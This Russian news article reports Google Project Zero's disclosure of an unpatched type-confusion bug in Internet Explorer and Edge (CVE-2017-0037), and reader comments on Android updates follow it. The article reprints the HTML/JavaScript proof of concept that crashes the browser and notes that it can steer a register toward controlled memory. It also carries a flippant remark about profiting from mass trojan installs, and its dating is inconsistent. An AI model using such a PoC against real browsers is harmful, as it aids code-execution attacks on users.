Сотрудники подразделения Project Zero опубликовали информацию о незакрытом баге в браузерах Internet Explorer и Edge. Баг позволяет осуществить атаку с удалённым исполнением кода через аварийное прекращение работы браузера. Впервые о нём было сообщено в Microsoft ровно три месяца назад — 25 декабря 2016 года. Компания Microsoft до сих пор не удосужилась выпустить патч, поэтому Google выложила информацию в открытый доступ.

В подробностях баг описан на странице баг-трекера Chromium.

Судя по описанию, баг содержится в путанице классов HandleColumnBreak
OnColumnSpanningElement
. На странице баг-трекреа есть 17-строчный пример, с помощью которого можно обрушить этот процесс. Основное внимание здесь следует уделить переменным rcx и rax.

<!-- saved from url=(0014)about:internet -->
<style>
.class1 { float: left; column-count: 5; }
.class2 { column-span: all; columns: 1px; }
table {border-spacing: 0px;}
</style>
<script>
function boom() {
  document.styleSheets[0].media.mediaText = "aaaaaaaaaaaaaaaaaaaa";
  th1.align = "right";
}
</script>
<body onload="setInterval(boom,100)">
<table cellspacing="0">
<tr class="class1">
<th id="th1" colspan="5" width=0></th>
<th class="class2" width=0><div class="class2"></div></th>

«Злоумышленник может повлиять на rax, изменяя свойства таблицы, такие как border-spacing и width для первого th элемента, — сказано в сообщении Project Zero. — Таким образом, созданной веб-странице нужно лишь указать rax в памяти, которая уже под контролем».

Информация об уязвимости опубликована в соответствии со стандартным условием о 90 днях «молчания», которое принято в Google и большинстве других хакерских организаций, которые специализируются на поиске уязвимостей. В соответствии с этими правилами, первым делом информация сообщается компании-разработчику, чтобы она исправила баг. Если она этого неделает, то в течение 90 дней (или иного интервала) информация об эксплуатации уязвимости выкладывается в открытый доступ. С этого момента кто угодно может легко использовать баг в Windows (IE), который работает практически на всех компьютерах под Windows в мире. Вы можете за несколько минут установить трояны на сотни тысяч компьютеров и заработать миллионы долларов.

Предполагается, что такой мощный стимул — повсеместная эксплуатация бага — стимулирует разработчика быстрее выпустить патч. Эта логика действует в том случае, когда баг реально уже эксплуатируется.

В прошлый раз такая несогласованность действий Google и Microsoft возникла в ноябре 2016 года. Тогда специалисты Google Threat Analysis Group опубликовали факт наличия опасной уязвимости в Windows всего через 10 дней после того, как сообщили о ней в Microsoft. У редмондской компании просто физически не было времени, чтобы проверить баг, протестировать его на всех конфигурациях, подготовить патч, протестировать его на всех конфигурациях — и выкатить обновление в Windows Update. Google пошла на такой шаг, потому что обнаруженная уязвимость уже активно эксплуатировалась хакерами. По регламенту Google Threat Analysis Group, срок публикации информации об активно эксплуатируемых уязвимостях составляет 7 дней. Можно сказать, что в данном случае компании Microsoft дали поблажку.

Компания Google не первый раз разглашает информацию о незакрытых уязвимостях в Windows. То же самое она сделала несколько раз в прошлом году, за что её подвергли критике коллеги из Microsoft. Якобы такие действия подвергают опасности миллионы пользователей Windows. Однажды ситуация была даже интереснее, потому что Microsoft специально просила Google подождать ещё несколько дней с разглашением — дать им время выпустить патч для Windows 8.1, но Google не отступилась. Принципы есть принципы.

Кажется, что у двух компаний просто разные взгляды на проблему. Google считает, что информирование пользователей об опасности только повышает общую безопасность и заставит раньше выпустить патч. Microsoft считает, что незачем выносить грязное бельё на публику.

Статистика за 2015-2016 годы показывает минимальное количество уязвимостей у Edge и Safari: 134 и 191, соответственно. В то же время у IE и Chrome найдено по 346. Но оцените степень опасности этих уязвимостей. У Edge уязвимости на исполнение кода — 74 (55,22% от общего количества), у IE — 239 (69,08%), у Safari — 132 (69,11%). В то время как у Chrome — всего десять штук за два года, из них восемь в 2015 году и две в 2016 году (2,89% от общего количества).



Полная версия таблицы. Примечание: в таблице учтены найденные уязвимости во всех версиях браузеров
В настоящее время баг зарегистрирован под идентификатором CVE-2017-0037.
Поделиться с друзьями
-->

Комментарии (30)


  1. alff31
    27.02.2017 15:26
    +5

    При чтении статьи меня не покидало легкое чувство дежа вю https://geektimes.ru/post/286118/

    Пора звать на гиктаймс Диссинет


  1. tundrawolf_kiba
    27.02.2017 15:53
    +2

    Принципы есть принципы.

    Это конечно повторяется из статью в статью, но… Какие принципы? Андроид признана самой уязвимой системой в 2016 году. На большинстве смартфонов система не то, что до минорных патчей не обновляется, даже секьюрити-фиксы не прилетают. Поэтому мне больше верится не в принципы, а в желание отвлечь от проблем с безопасностью на собственной ОС.


    1. Theodor
      27.02.2017 17:59
      -1

      А гугл лично виноват в том, что производители забивают на обновления?


      1. sleeply4cat
        27.02.2017 19:36
        +2

        Гугл допустил возникновение такой ситуации. Рычагов давления даже на унылых китайцев у него масса.


        1. asaks
          05.03.2017 13:42

          Допустим надавит гугл на производителей и заставит выпускать обновления постоянно. И будут у нас тогда андроидосмартфоны не ниже 700 баксов стоить, т.к. производители скажут, что они тратяться на поддержку и т.п. Все сразу же начнут возмущаться такой стоимости. Поэтому сейчас есть бюджетные аппараты, на которые забивают почти сразу же, и есть флагманы, на которые выходят обновления, пусть и не сразу же как только их выпускает гугл.


          1. sleeply4cat
            05.03.2017 15:35

            Поправка: у нас есть китайцы, на которые обновления не выходят, и у нас есть все остальные телефоны, на которые обновления не выходят. И есть нексусы/пиксели, первые из которых тоже теперь обновляются чёрт знает как.
            И нет, настолько дорогих телефонов не будет.


            1. Gugic
              07.03.2017 08:43
              +1

              С нексусами все пока хорошо. Обновляются в рамках обещанной двухгодовой поддержки. Т.е. на тот же 5x (представленный в 15-м году с андроид 6 на борту) вышло обновление до 7 (фактически у меня там сейчас бета 7.1.2 от февраля месяца) и еще выйдет обновление до 8 осенью. На этом все.


      1. tundrawolf_kiba
        27.02.2017 20:11
        +2

        Моя точка зрения такая — если я вижу то, что у ОС одинаковое название «Андроид» — то я ожидаю то, что будет возможность обновляться единообразно — из единого репозитория. Если же это невозможно сделать — то я ожидаю увидеть картину примерно как с дистрибутивами Линукс — различные дистрибутивы имеют различное название. А так получается достаточно странная ситуация — и на линейке Nexus и Pixel — Андроид, и на Сони, Самсунге, Асусе — Андроид. Вот только для одного приходят обновления, а для второго — нет, как будто эта система отличается настолько, что эти обновления не встанут на него.


        1. Hormiga
          28.02.2017 13:35
          +3

          Я просто оставлю это здесь (осторожно, ненормативная лексика):
          Почему мой телефон не обновится до нового андроеда


        1. dron_k
          28.02.2017 13:36

          Может отличается а может и нет,
          за работоспособность телефона отвечает производитель
          он продал вам конкретный телефон с конкретными характеристиками и конкретным ПО
          и будет ли он поддерживать новые версии андроида это добрая воля производителя
          ибо это:
          * затраты на тестирование
          * затраты на допиливание собственного ПО под новую версию андроида
          * риск что всетаки при обновлении чтото сломается и в сервисы выстроится очередь злобных домохозяек (недавний пример с обновлениями телевизоров сони)
          * по примеру со старыми девайсами нексус и эппл — при накатывании новой весии ОС производительности старого железа может не хватить и снова в сервисы выстроится очередь злобных домохозяек с тупящими девайсами

          Так что как видим не всё так просто,
          и если вы как продвинутый пользователь готовы мириться с возможными проблемами обновления ОС и устранять их, то можете отдать предпочтение линейке нексус,
          остальное же как правило разрабатывается по большей части для обывателей которые хотят купить и пользоваться.

          В защиту производителей могу отметить что некоторые таки выпускают обновления ОС,
          в моем случае это был LG.
          Они выпустили обновления андроида с 4.4 на 5,
          сначала для LG G3, и чуть позже для LG G2 Pro, другие модели я не отслеживал, скорее всего и для других было.


          1. tundrawolf_kiba
            28.02.2017 14:01

            Если вы внимательно прочитали первый комментарий в ветке — то я там говорю даже не минорных патчах (допустим с 4.3 до 4.4), а хотя бы о секьюрити фиксах. Если даже они не могут обновляться централизовано, то почему тогда эти прошивки зовутся Android? Называйте их тогда по примеру CyanogenMod или Yandex.Kit, чтобы было понятно, что за прошивку отвечает только производитель телефона, но никак не гугл. Ну и возвращаясь к теме статьи — если гугл не имеет возможности своевременно закрывать уязвимости и доставлять исправления на все устройства — то почему он тогда наезжает с этим на Майкрософт? В случае с виндовс я, как минимум, могу быть уверен, что если уязвимость закрыта, то у меня будет патч ее исправляющий. А ведь на десктопах зоопарк железа не меньше, если не больше, чем на мобильных устройствах.


          1. Taciturn
            03.03.2017 15:08
            +1

            За работоспособность OEM-версий Windows тоже как-бы отвечает производитель оборудования на котором они установлены. Но это не мешает MS выпускать для них обновления.
            А вот Google, в по сути аналогичной ситуации, мешает.


            1. itvdonsk
              05.03.2017 15:47

              Все потому что под Windows железо унифицировано. А вот под Android клепают кто во что горазд. Условно говоря если производитель оборудования поставит специфичное железо, а обновление будет ломать работоспособность этого железа, то кто будет виноват? MS или производитель железа?


    1. itvdonsk
      05.03.2017 13:42

      По поводу обновлений это вопрос к производителям смартфонов.


      1. tundrawolf_kiba
        05.03.2017 15:27

        А почему вдруг к ним — разве они выпускают ОС Андроид? А если то, что они выпускают — не Андроид — то почему он так называется?


        1. itvdonsk
          05.03.2017 15:36

          Для начала определитесь выпускают они или нет. То что ставят производители на свои смартфоны является патченным под определенное железо Андроидом. В базовом андроиде поддерживается определенное железо. Хочешь ставить на другое железо — пиши патчи. И это не проблема Гугла что производитель не хочет поддерживать(читай нанимать программистов для патча прошивки) для устаревшего (для производителя) смартфона.


    1. artgrosvil
      05.03.2017 13:42

      А почему вы скидываете проблемы производителей на Google? Никто не заставляет всяких самсунгов и иже с ним городить непонятно что из проработанной ОС. Вон Нокиа выпустила свои смартфоны на чистом андроиде, и они будут получать все обновления(и секьюрити и новые версии) прямо от Google. И Нокиа легче и наконец-то будут смартфоны с голым робот помимо нексуса(пикселя).


      1. tundrawolf_kiba
        05.03.2017 15:20

        Никто не заставляет всяких самсунгов и иже с ним городить непонятно что из проработанной ОС.


        Т.е. — если я покупаю не Нексус/Пиксель — я покупаю не Андроид, верно? Тогда почему бы Гуглу не договориться с производителями, чтобы они свои ОС называли как-то по другому, чем Андроид? А то видите, какая путаница возникает.


        1. itvdonsk
          05.03.2017 16:43

          Тут больше вопрос, что лицензия Android не запрещает называть модифицированную ОС Android'ом.


  1. Deaddy
    27.02.2017 16:28
    +4

    которое принято в Google и большинстве других хакерских организаций

    шикарно!


  1. Oxoron
    27.02.2017 16:39
    +1

    Меня уже задолбал Edge утверждающий, что он безопасней и быстрее Гугла. Видимо, разрабов Гугл это всплывающее окно тоже задолбало.


    1. Gugic
      27.02.2017 16:56
      +1

      Ну по крайней мере насчет того что батарейку он садит медленнее хрома — правда (по крайней мере в моем конкретном случае). Пользуюсь в общем.


    1. daggert
      27.02.2017 22:36
      +1

      Какое окно?


  1. mSnus
    27.02.2017 16:56
    +2

    А я только собрался заменить свой Netscape Navigator на что-то посовременнее… Нет, пожалуй, ещё подожду.


  1. ofmetal
    27.02.2017 17:23
    +5

    Впервые о нём было сообщено в Microsoft ровно три месяца назад — 25 декабря 2016 года.

    3 месяца назад? Стало быть дата статьи 25 марта 2017 года?


    1. tmin10
      27.02.2017 17:30

      А в прошлой статье причиной огласки уязвимости было 14 февряля и не выпуск патча в пакете обновлений…


  1. hssergey
    27.02.2017 22:10
    +5

    Основное внимание здесь следует уделить переменным rcx и rax.


    Я один не вижу в представленном фрагменте кода этих переменных?


    1. Aingis
      28.02.2017 14:02

      Есть подозрение, что имеются в виду регистры процессора. (Ну, что вы хотите от Ализара?)


    1. Vanellope
      05.03.2017 13:42

      Так это не совсем переменные, судя по названиям. Это регистры.


  1. bigbrotherwatchingyou
    28.02.2017 06:22

    Вот-вот, лучше бы в своих поделиях баги искали и фиксили, а не в чужой огород камни кидали